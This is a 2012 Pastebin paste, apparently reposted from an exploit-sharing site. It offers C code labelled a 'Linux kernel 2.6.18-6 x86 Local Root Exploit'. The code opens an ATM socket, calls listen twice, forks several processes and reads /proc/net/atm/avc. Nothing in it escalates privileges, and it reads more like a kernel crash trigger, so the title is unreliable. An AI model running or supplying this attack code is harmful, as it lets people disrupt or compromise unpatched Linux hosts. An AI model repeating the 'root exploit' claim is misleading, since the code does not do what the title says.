zerofreak

2.6.18-6 Exploit

Feb 10th, 2012
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.01 KB | None | 0 0
  1. ====================================================
  2. Linux kernel-2.6.18-6 x86 Local Root Exploit
  3. ====================================================
  4.  
  5. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
  6. 0 _ __ __ __ 1
  7. 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
  8. 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
  9. 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
  10. 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
  11. 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
  12. 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
  13. 1 \ \____/ >> Exploit database separated by exploit 0
  14. 0 \/___/ type (local, remote, DoS, etc.) 1
  15. 1 1
  16. 0 [+] Site : 1337day.com 0
  17. 1 [+] Support e-mail : submit[at]1337day.com 1
  18. 0 0
  19. 1 ######################################### 1
  20. 0 I'm Angel Injection member from Inj3ct0r Team 1
  21. 1 ######################################### 0
  22. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  23. ########################################################################
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <fcntl.h>
  28. #include <linux/atm.h>
  29. #include <sys/types.h>
  30. #include <sys/socket.h>
  31. #include <sys/stat.h>
  32.  
  33. #define NUM_CPUS 8
  34. #define ATM "/proc/net/atm/avc"
  35.  
  36. int
  37. main(void)
  38. {
  39. char *err, adurit[2000];
  40. int i, ret, sock, proc;
  41. struct atm_qos dj;
  42. struct sockaddr_atmsvc addr;
  43.  
  44.  
  45.  
  46. sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
  47.  
  48.  
  49. memset(&dj, 0, sizeof(dj));
  50. dj.rxtp.traffic_class = ATM_UBR;
  51. dj.txtp.traffic_class = ATM_UBR;
  52. dj.aal = ATM_NO_AAL;
  53.  
  54.  
  55. ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
  56. if (ret == -1) {
  57. printf("failed !\n");
  58. return 1;
  59. }
  60. memset(&addr, 0, sizeof(addr));
  61. addr.sas_family = AF_ATMSVC;
  62.  
  63. bind(sock, (struct sockaddr *) &addr, sizeof(addr));
  64.  
  65. listen(sock, 10);
  66. listen(sock, 10);
  67.  
  68. for (i = 1; i < NUM_CPUS; ++i) {
  69. if (fork() != 0) {
  70. break;
  71. }
  72. }
  73. proc = open(ATM, O_RDONLY);
  74. ret = read(proc, &adurit, 2000);
  75. close(proc);
  76.  
  77. return 0;
  78. }
Advertisement
Add Comment
Please, Sign In to add comment